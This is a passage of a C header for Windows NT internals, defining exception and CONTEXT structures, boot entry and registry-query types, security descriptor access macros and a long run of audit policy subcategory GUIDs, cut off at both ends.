_Inout_ struct _CONTEXT *ContextRecord, _Inout_ PVOID DispatcherContext ); typedef struct _EXCEPTION_REGISTRATION_RECORD { struct _EXCEPTION_REGISTRATION_RECORD *Next; PEXCEPTION_ROUTINE Handler; } EXCEPTION_REGISTRATION_RECORD; typedef EXCEPTION_REGISTRATION_RECORD *PEXCEPTION_REGISTRATION_RECORD; #endif #if !defined(POINTER_64) #define POINTER_64 __ptr64 typedef unsigned __int64 POINTER_64_INT; #if defined(_M_X64) #define POINTER_32 __ptr32 #else #define POINTER_32 #endif #endif typedef enum _NT_PRODUCT_TYPE { NtProductWinNt = 1, NtProductLanManNt, NtProductServer } NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; typedef enum _SUITE_TYPE { SmallBusiness, Enterprise, BackOffice, CommunicationServer, TerminalServer, SmallBusinessRestricted, EmbeddedNT, DataCenter, SingleUserTS, Personal, Blade, EmbeddedRestricted, SecurityAppliance, StorageServer, ComputeServer, MaxSuiteType } SUITE_TYPE; #define VER_SERVER_NT 0x80000000 #define VER_WORKSTATION_NT 0x40000000 #define VER_SUITE_SMALLBUSINESS 0x00000001 #define VER_SUITE_ENTERPRISE 0x00000002 #define VER_SUITE_BACKOFFICE 0x00000004 #define VER_SUITE_COMMUNICATIONS 0x00000008 #define VER_SUITE_TERMINAL 0x00000010 #define VER_SUITE_SMALLBUSINESS_RESTRICTED 0x00000020 #define VER_SUITE_EMBEDDEDNT 0x00000040 #define VER_SUITE_DATACENTER 0x00000080 #define VER_SUITE_SINGLEUSERTS 0x00000100 #define VER_SUITE_PERSONAL 0x00000200 #define VER_SUITE_BLADE 0x00000400 #define VER_SUITE_EMBEDDED_RESTRICTED 0x00000800 #define VER_SUITE_SECURITY_APPLIANCE 0x00001000 #define VER_SUITE_STORAGE_SERVER 0x00002000 #define VER_SUITE_COMPUTE_SERVER 0x00004000 // // exception structures // #ifndef _WINNT_ // take presidence over winnt.h typedef struct _CONTEXT { // // The flags values within this flag control the contents of // a CONTEXT record. // // If the context record is used as an input parameter, then // for each portion of the context record controlled by a flag // whose value is set, it is assumed that that portion of the // context record contains valid context. If the context record // is being used to modify a threads context, then only that // portion of the threads context will be modified. // // If the context record is used as an _Inout_ parameter to capture // the context of a thread, then only those portions of the thread's // context corresponding to set flags will be returned. // // The context record is never used as an OUT only parameter. // DWORD ContextFlags; // // This section is specified/returned if CONTEXT_DEBUG_REGISTERS is // set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT // included in CONTEXT_FULL. // DWORD Dr0; DWORD Dr1; DWORD Dr2; DWORD Dr3; DWORD Dr6; DWORD Dr7; // // This section is specified/returned if the // ContextFlags word contains the flag CONTEXT_FLOATING_POINT. // FLOATING_SAVE_AREA FloatSave; // // This section is specified/returned if the // ContextFlags word contains the flag CONTEXT_SEGMENTS. // DWORD SegGs; DWORD SegFs; DWORD SegEs; DWORD SegDs; // // This section is specified/returned if the // ContextFlags word contains the flag CONTEXT_INTEGER. // DWORD Edi; DWORD Esi; DWORD Ebx; DWORD Edx; DWORD Ecx; DWORD Eax; // // This section is specified/returned if the // ContextFlags word contains the flag CONTEXT_CONTROL. // DWORD Ebp; DWORD Eip; DWORD SegCs; // MUST BE SANITIZED DWORD EFlags; // MUST BE SANITIZED DWORD Esp; DWORD SegSs; // // This section is specified/returned if the ContextFlags word // contains the flag CONTEXT_EXTENDED_REGISTERS. // The format and contexts are processor specific // BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; } CONTEXT, *PCONTEXT; typedef struct _EXCEPTION_RECORD { DWORD ExceptionCode; // NTSTATUS code of the exception. DWORD ExceptionFlags; // need more information struct _EXCEPTION_RECORD *ExceptionRecord; // pointer to an extra record PVOID ExceptionAddress; // address of the exception happen DWORD NumberParameters; // more information needed ... ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD, *PEXCEPTION_RECORD; // // Values put in ExceptionRecord.ExceptionInformation[0] // First parameter is always in ExceptionInformation[1], // Second parameter is always in ExceptionInformation[2] // typedef struct _EXCEPTION_RECORD32 { DWORD ExceptionCode; DWORD ExceptionFlags; DWORD ExceptionRecord; DWORD ExceptionAddress; DWORD NumberParameters; DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD32, *PEXCEPTION_RECORD32; typedef struct _EXCEPTION_RECORD64 { DWORD ExceptionCode; DWORD ExceptionFlags; DWORD64 ExceptionRecord; DWORD64 ExceptionAddress; DWORD NumberParameters; DWORD __unusedAlignment; DWORD64 ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; } EXCEPTION_RECORD64, *PEXCEPTION_RECORD64; // // Typedef for pointer returned by exception_info() // typedef struct _EXCEPTION_POINTERS { PEXCEPTION_RECORD ExceptionRecord; PCONTEXT ContextRecord; } EXCEPTION_POINTERS, *PEXCEPTION_POINTERS; #endif typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( IN PWSTR ValueName, IN ULONG ValueType, IN PVOID ValueData, IN ULONG ValueLength, IN PVOID Context, IN PVOID EntryContext ); typedef struct _RTL_QUERY_REGISTRY_TABLE { PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; ULONG Flags; PWSTR Name; PVOID EntryContext; ULONG DefaultType; PVOID DefaultData; ULONG DefaultLength; } RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; #define EXCEPTION_CHAIN_END ((struct _EXCEPTION_REGISTRATION_RECORD * POINTER_32)-1) #define MAJOR_VERSION 30 #define MINOR_VERSION 00 #define OS2_VERSION (MAJOR_VERSION << 8 | MINOR_VERSION ) #ifdef DBG #define DBG_TEB_THREADNAME 16 #define DBG_TEB_RESERVED_1 15 #define DBG_TEB_RESERVED_2 14 #define DBG_TEB_RESERVED_3 13 #define DBG_TEB_RESERVED_4 12 #define DBG_TEB_RESERVED_5 11 #define DBG_TEB_RESERVED_6 10 #define DBG_TEB_RESERVED_7 9 #define DBG_TEB_RESERVED_8 8 #endif // DBG #define PROCESS_PRIORITY_CLASS_UNKNOWN 0 #define PROCESS_PRIORITY_CLASS_IDLE 1 #define PROCESS_PRIORITY_CLASS_NORMAL 2 #define PROCESS_PRIORITY_CLASS_HIGH 3 #define PROCESS_PRIORITY_CLASS_REALTIME 4 #define PROCESS_PRIORITY_CLASS_BELOW_NORMAL 5 #define PROCESS_PRIORITY_CLASS_ABOVE_NORMAL 6 typedef struct _PROCESS_PRIORITY_CLASS { BOOLEAN Foreground; UCHAR PriorityClass; } PROCESS_PRIORITY_CLASS, *PPROCESS_PRIORITY_CLASS; typedef struct _PROCESS_FOREGROUND_BACKGROUND { BOOLEAN Foreground; } PROCESS_FOREGROUND_BACKGROUND, *PPROCESS_FOREGROUND_BACKGROUND; typedef struct _FILE_PATH { ULONG Version; ULONG Length; ULONG Type; UCHAR FilePath[ANYSIZE_ARRAY]; } FILE_PATH, *PFILE_PATH; #define FILE_PATH_VERSION 1 #define FILE_PATH_TYPE_ARC 1 #define FILE_PATH_TYPE_ARC_SIGNATURE 2 #define FILE_PATH_TYPE_NT 3 #define FILE_PATH_TYPE_EFI 4 #define FILE_PATH_TYPE_MIN FILE_PATH_TYPE_ARC #define FILE_PATH_TYPE_MAX FILE_PATH_TYPE_EFI typedef struct _WINDOWS_OS_OPTIONS { UCHAR Signature[8]; ULONG Version; ULONG Length; ULONG OsLoadPathOffset; WCHAR OsLoadOptions[ANYSIZE_ARRAY]; //FILE_PATH OsLoadPath; } WINDOWS_OS_OPTIONS, *PWINDOWS_OS_OPTIONS; #define WINDOWS_OS_OPTIONS_SIGNATURE "WINDOWS" #define WINDOWS_OS_OPTIONS_VERSION 1 typedef struct _BOOT_ENTRY { ULONG Version; ULONG Length; ULONG Id; ULONG Attributes; ULONG FriendlyNameOffset; ULONG BootFilePathOffset; ULONG OsOptionsLength; UCHAR OsOptions[ANYSIZE_ARRAY]; //WCHAR FriendlyName[ANYSIZE_ARRAY]; //FILE_PATH BootFilePath; } BOOT_ENTRY, *PBOOT_ENTRY; typedef struct _BOOT_OPTIONS { ULONG Version; ULONG Length; ULONG Timeout; ULONG CurrentBootEntryId; ULONG NextBootEntryId; WCHAR HeadlessRedirection[ANYSIZE_ARRAY]; } BOOT_OPTIONS, *PBOOT_OPTIONS; // // Security APIs. // typedef struct _USER_SID { SID_IDENTIFIER_AUTHORITY sidAuthority; ULONG UserGroupId; ULONG UserId; } USER_SID, *PUSER_SID; typedef struct _USER_PERMISSION { USER_SID UserSid; // identifies the user for whom you want to grant permissions to ULONG dwAccessType; // currently, this is either ACCESS_ALLOWED_ACE_TYPE or ACCESS_DENIED_ACE_TYPE BOOL bInherit; // the permissions inheritable? (eg a directory or reg key and you want new children to inherit this permission) ULONG dwAccessMask; // access granted (eg FILE_LIST_CONTENTS or KEY_ALL_ACCESS, etc...) ULONG dwInheritMask; // mask used for inheritance, usually (OBJECT_INHERIT_ACE | CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE) ULONG dwInheritAccessMask; // the inheritable access granted (eg GENERIC_ALL) } USER_PERMISSION, *PUSER_PERMISSION; #define LongAlignPtr(Ptr) ((PVOID)(((ULONG_PTR)(Ptr) + 3) & -4)) #define LongAlignSize(Size) (((ULONG)(Size) + 3) & -4) // // Macros for calculating the address of the components of a security // descriptor. This will calculate the address of the field regardless // of whether the security descriptor is absolute or self-relative form. // A null value indicates the specified field is not present in the // security descriptor. // #define RtlpOwnerAddrSecurityDescriptor( SD ) \ ( ((SD)->Control & SE_SELF_RELATIVE) ? \ ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner == 0) ? ((PSID) NULL) : \ (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Owner) \ ) : \ (PSID)((SD)->Owner) \ ) #define RtlpGroupAddrSecurityDescriptor( SD ) \ ( ((SD)->Control & SE_SELF_RELATIVE) ? \ ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group == 0) ? ((PSID) NULL) : \ (PSID)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Group) \ ) : \ (PSID)((SD)->Group) \ ) #define RtlpSaclAddrSecurityDescriptor( SD ) \ ( (!((SD)->Control & SE_SACL_PRESENT) ) ? \ (PACL)NULL : \ ( ((SD)->Control & SE_SELF_RELATIVE) ? \ ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl == 0) ? ((PACL) NULL) : \ (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Sacl) \ ) : \ (PACL)((SD)->Sacl) \ ) \ ) #define RtlpDaclAddrSecurityDescriptor( SD ) \ ( (!((SD)->Control & SE_DACL_PRESENT) ) ? \ (PACL)NULL : \ ( ((SD)->Control & SE_SELF_RELATIVE) ? \ ( (((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl == 0) ? ((PACL) NULL) : \ (PACL)RtlOffsetToPointer((SD), ((SECURITY_DESCRIPTOR_RELATIVE *) (SD))->Dacl) \ ) : \ (PACL)((SD)->Dacl) \ ) \ ) // // Macro to determine if the given ID has the owner attribute set, // which means that it may be assignable as an owner // The GroupSid should not be marked for UseForDenyOnly. // #define RtlpIdAssignableAsOwner( G ) \ ( (((G).Attributes & SE_GROUP_OWNER) != 0) && \ (((G).Attributes & SE_GROUP_USE_FOR_DENY_ONLY) == 0) ) // // Macro to copy the state of the passed bits from the old security // descriptor (OldSD) into the Control field of the new one (NewSD) // #define RtlpPropagateControlBits( NewSD, OldSD, Bits ) \ ( NewSD )->Control |= \ ( \ ( OldSD )->Control & ( Bits ) \ ) // // Macro to query whether or not the passed set of bits are ALL on // or not (ie, returns FALSE if some are on and not others) // #define RtlpAreControlBitsSet( SD, Bits ) \ (BOOLEAN) \ ( \ (( SD )->Control & ( Bits )) == ( Bits ) \ ) // // Macro to set the passed control bits in the given Security Descriptor // #define RtlpSetControlBits( SD, Bits ) \ ( \ ( SD )->Control |= ( Bits ) \ ) // // Macro to clear the passed control bits in the given Security Descriptor // #define RtlpClearControlBits( SD, Bits ) \ ( \ ( SD )->Control &= ~( Bits ) \ ) // // Local Security Authority APIs. // #ifdef DEFINE_GUID /* 0cce9210-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_SecurityStateChange_defined) DEFINE_GUID( Audit_System_SecurityStateChange, 0x0cce9210, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_SecurityStateChange_defined #endif #endif /* 0cce9211-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_SecuritySubsystemExtension_defined) DEFINE_GUID( Audit_System_SecuritySubsystemExtension, 0x0cce9211, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_SecuritySubsystemExtension_defined #endif #endif /* 0cce9212-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_Integrity_defined) DEFINE_GUID( Audit_System_Integrity, 0x0cce9212, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_Integrity_defined #endif #endif /* 0cce9213-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_IPSecDriverEvents_defined) DEFINE_GUID( Audit_System_IPSecDriverEvents, 0x0cce9213, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_IPSecDriverEvents_defined #endif #endif /* 0cce9214-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_System_Others_defined) DEFINE_GUID( Audit_System_Others, 0x0cce9214, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_System_Others_defined #endif #endif /* 0cce9215-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_Logon_defined) DEFINE_GUID( Audit_Logon_Logon, 0x0cce9215, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_Logon_defined #endif #endif /* 0cce9216-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_Logoff_defined) DEFINE_GUID( Audit_Logon_Logoff, 0x0cce9216, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_Logoff_defined #endif #endif /* 0cce9217-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_AccountLockout_defined) DEFINE_GUID( Audit_Logon_AccountLockout, 0x0cce9217, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_AccountLockout_defined #endif #endif /* 0cce9218-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_IPSecMainMode_defined) DEFINE_GUID( Audit_Logon_IPSecMainMode, 0x0cce9218, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_IPSecMainMode_defined #endif #endif /* 0cce9219-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_IPSecQuickMode_defined) DEFINE_GUID( Audit_Logon_IPSecQuickMode, 0x0cce9219, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_IPSecQuickMode_defined #endif #endif /* 0cce921a-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_IPSecUserMode_defined) DEFINE_GUID( Audit_Logon_IPSecUserMode, 0x0cce921a, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_IPSecUserMode_defined #endif #endif /* 0cce921b-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_SpecialLogon_defined) DEFINE_GUID( Audit_Logon_SpecialLogon, 0x0cce921b, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_SpecialLogon_defined #endif #endif /* 0cce921c-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_Logon_Others_defined) DEFINE_GUID( Audit_Logon_Others, 0x0cce921c, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_Logon_Others_defined #endif #endif /* 0cce921d-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_FileSystem_defined) DEFINE_GUID( Audit_ObjectAccess_FileSystem, 0x0cce921d, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_FileSystem_defined #endif #endif /* 0cce921e-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Registry_defined) DEFINE_GUID( Audit_ObjectAccess_Registry, 0x0cce921e, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Registry_defined #endif #endif /* 0cce921f-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Kernel_defined) DEFINE_GUID( Audit_ObjectAccess_Kernel, 0x0cce921f, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Kernel_defined #endif #endif /* 0cce9220-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Sam_defined) DEFINE_GUID( Audit_ObjectAccess_Sam, 0x0cce9220, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Sam_defined #endif #endif /* 0cce9221-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_CertificationServices_defined) DEFINE_GUID( Audit_ObjectAccess_CertificationServices, 0x0cce9221, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_CertificationServices_defined #endif #endif /* 0cce9222-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_ApplicationGenerated_defined) DEFINE_GUID( Audit_ObjectAccess_ApplicationGenerated, 0x0cce9222, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_ApplicationGenerated_defined #endif #endif /* The Audit_ObjectAccess_Handle sub-category behaves different from the other sub-categories. For handle based audits to be generated (Open handle AuditId: 0x1230, Close handle AuditId: 0x1232), the corresponding object sub-category AND Audit_ObjectAccess_Handle must be enabled. For eg, to generate handle based audits for Reg keys, both Audit_ObjectAccess_Registry and Audit_ObjectAccess_Handle must be enabled */ /* 0cce9223-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Handle_defined) DEFINE_GUID( Audit_ObjectAccess_Handle, 0x0cce9223, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Handle_defined #endif #endif /* 0cce9224-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Share_defined) DEFINE_GUID( Audit_ObjectAccess_Share, 0x0cce9224, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Share_defined #endif #endif /* 0cce9225-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallPacketDrops_defined) DEFINE_GUID( Audit_ObjectAccess_FirewallPacketDrops, 0x0cce9225, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_FirewallPacketDrops_defined #endif #endif /* 0cce9226-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_FirewallConnection_defined) DEFINE_GUID( Audit_ObjectAccess_FirewallConnection, 0x0cce9226, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_FirewallConnection_defined #endif #endif /* 0cce9227-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_ObjectAccess_Other_defined) DEFINE_GUID( Audit_ObjectAccess_Other, 0x0cce9227, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_ObjectAccess_Other_defined #endif #endif /* 0cce9228-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Sensitive_defined) DEFINE_GUID( Audit_PrivilegeUse_Sensitive, 0x0cce9228, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PrivilegeUse_Sensitive_defined #endif #endif /* 0cce9229-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PrivilegeUse_NonSensitive_defined) DEFINE_GUID( Audit_PrivilegeUse_NonSensitive, 0x0cce9229, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PrivilegeUse_NonSensitive_defined #endif #endif /* 0cce922a-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PrivilegeUse_Others_defined) DEFINE_GUID( Audit_PrivilegeUse_Others, 0x0cce922a, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PrivilegeUse_Others_defined #endif #endif /* 0cce922b-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessCreation_defined) DEFINE_GUID( Audit_DetailedTracking_ProcessCreation, 0x0cce922b, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DetailedTracking_ProcessCreation_defined #endif #endif /* 0cce922c-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DetailedTracking_ProcessTermination_defined) DEFINE_GUID( Audit_DetailedTracking_ProcessTermination, 0x0cce922c, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DetailedTracking_ProcessTermination_defined #endif #endif /* 0cce922d-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DetailedTracking_DpapiActivity_defined) DEFINE_GUID( Audit_DetailedTracking_DpapiActivity, 0x0cce922d, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DetailedTracking_DpapiActivity_defined #endif #endif /* 0cce922e-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DetailedTracking_RpcCall_defined) DEFINE_GUID( Audit_DetailedTracking_RpcCall, 0x0cce922e, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_DetailedTracking_RpcCall_defined #endif #endif /* 0cce922f-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_AuditPolicy_defined) DEFINE_GUID( Audit_PolicyChange_AuditPolicy, 0x0cce922f, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_AuditPolicy_defined #endif #endif /* 0cce9230-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthenticationPolicy_defined) DEFINE_GUID( Audit_PolicyChange_AuthenticationPolicy, 0x0cce9230, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_AuthenticationPolicy_defined #endif #endif /* 0cce9231-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_AuthorizationPolicy_defined) DEFINE_GUID( Audit_PolicyChange_AuthorizationPolicy, 0x0cce9231, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_AuthorizationPolicy_defined #endif #endif /* 0cce9232-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_MpsscvRulePolicy_defined) DEFINE_GUID( Audit_PolicyChange_MpsscvRulePolicy, 0x0cce9232, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_MpsscvRulePolicy_defined #endif #endif /* 0cce9233-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_WfpIPSecPolicy_defined) DEFINE_GUID( Audit_PolicyChange_WfpIPSecPolicy, 0x0cce9233, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_WfpIPSecPolicy_defined #endif #endif /* 0cce9234-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_PolicyChange_Others_defined) DEFINE_GUID( Audit_PolicyChange_Others, 0x0cce9234, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_PolicyChange_Others_defined #endif #endif /* 0cce9235-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_UserAccount_defined) DEFINE_GUID( Audit_AccountManagement_UserAccount, 0x0cce9235, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_UserAccount_defined #endif #endif /* 0cce9236-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_ComputerAccount_defined) DEFINE_GUID( Audit_AccountManagement_ComputerAccount, 0x0cce9236, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_ComputerAccount_defined #endif #endif /* 0cce9237-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_SecurityGroup_defined) DEFINE_GUID( Audit_AccountManagement_SecurityGroup, 0x0cce9237, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_SecurityGroup_defined #endif #endif /* 0cce9238-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_DistributionGroup_defined) DEFINE_GUID( Audit_AccountManagement_DistributionGroup, 0x0cce9238, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_DistributionGroup_defined #endif #endif /* 0cce9239-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_ApplicationGroup_defined) DEFINE_GUID( Audit_AccountManagement_ApplicationGroup, 0x0cce9239, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_ApplicationGroup_defined #endif #endif /* 0cce923a-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_AccountManagement_Others_defined) DEFINE_GUID( Audit_AccountManagement_Others, 0x0cce923a, 0x69ae, 0x11d9, 0xbe, 0xd3, 0x50, 0x50, 0x54, 0x50, 0x30, 0x30 ); #ifdef INITGUID #define Audit_AccountManagement_Others_defined #endif #endif /* 0cce923b-69ae-11d9-bed3-505054503030 */ #if !defined(INITGUID) || !defined(Audit_DSAccess_DSAccess_defined) DEFINE_GUID( Audit_DSAccess_DSAccess, 0x0cce923b, 0x69ae, 0x11d9, 0xbe, 